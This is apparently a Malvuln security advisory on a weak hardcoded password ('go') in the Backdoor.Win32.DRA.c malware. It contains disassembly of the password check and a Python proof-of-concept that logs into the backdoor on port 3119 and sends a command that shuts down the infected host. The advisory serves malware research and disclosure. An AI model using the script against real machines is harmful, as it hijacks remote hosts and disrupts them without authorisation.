Backdoor.Win32.DRA.c Weak Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/5ff832ce6af4b03a709eaf380672cf34.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.DRA.c  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 3119 and authentication is required. However, the password "go" is weak and hardcoded in the PE file. The malware uses "lstrcmpa" Win32 API to check the password, when sending the password we need to be careful that there is no line feed "\n" E.g. "go\n", as what happens when sent using ncat or telnet causing authentication to fail.  
  
00401317 jz loc_401218  
0040131D push offset aGo ; "go"  
00401322 push offset buf ; lpString1  
00401327 call lstrcmpA  
  
0040131D | 68 7C 40 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 40407C "go"  
00401322 | 68 8C 46 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b |  
00401327 | E8 F4 0C 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 |  
0040132C | 83 F8 00 | cmp eax,0 |  
0040132F | 74 2C | je backdoor.win32.dra.c.5ff832ce6af4b03 |  
00401331 | 6A 00 | push 0 |  
00401333 | 6A 11 | push 11 |  
00401335 | 68 11 4C 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 404C11 "invalid password."  
0040133A | FF 35 16 4B 40 00 | push dword ptr ds:[404B16] |  
00401340 | E8 53 0D 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 |  
00401345 | 83 F8 FF | cmp eax,FFFFFFFF |  
  
Type: PE32  
MD5: 5ff832ce6af4b03a709eaf380672cf34  
Vuln ID: MVID-2022-0470  
Disclosure: 01/24/2022  
  
  
Exploit/PoC:  
Using ncat, telnet will fail as it sends a new line "\n", so we use a makeshift Python agent.  
Sending the command "Run z\r\n" will initiate a shutdown of the infected host.  
  
from socket import *  
import time  
  
MALWARE_HOST="x.x.x.x"  
PORT=3119  
  
  
def conn():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
return s  
  
def chk_res(s):  
res=""  
while True:  
res += s.recv(512)  
if "Connected :-) !" in res or "invalid password" in res:  
break  
return res  
  
def doit():  
  
s=conn()  
  
#Bad passwd  
PAYLOAD="hate\r\n"  
s.send(PAYLOAD)  
print(chk_res(s))  
s.close()  
  
time.sleep(1)  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
#Correct passwd  
PAYLOAD="go"  
s.send(PAYLOAD)  
print(chk_res(s))  
  
time.sleep(1)  
  
#initiates a shutdown of the infected machine  
#s.send("Run c\r\n")  
s.send("Run z\r\n")  
  
s.close()  
  
  
if __name__=="__main__":  
doit()  
print("Malvuln")  
  
  
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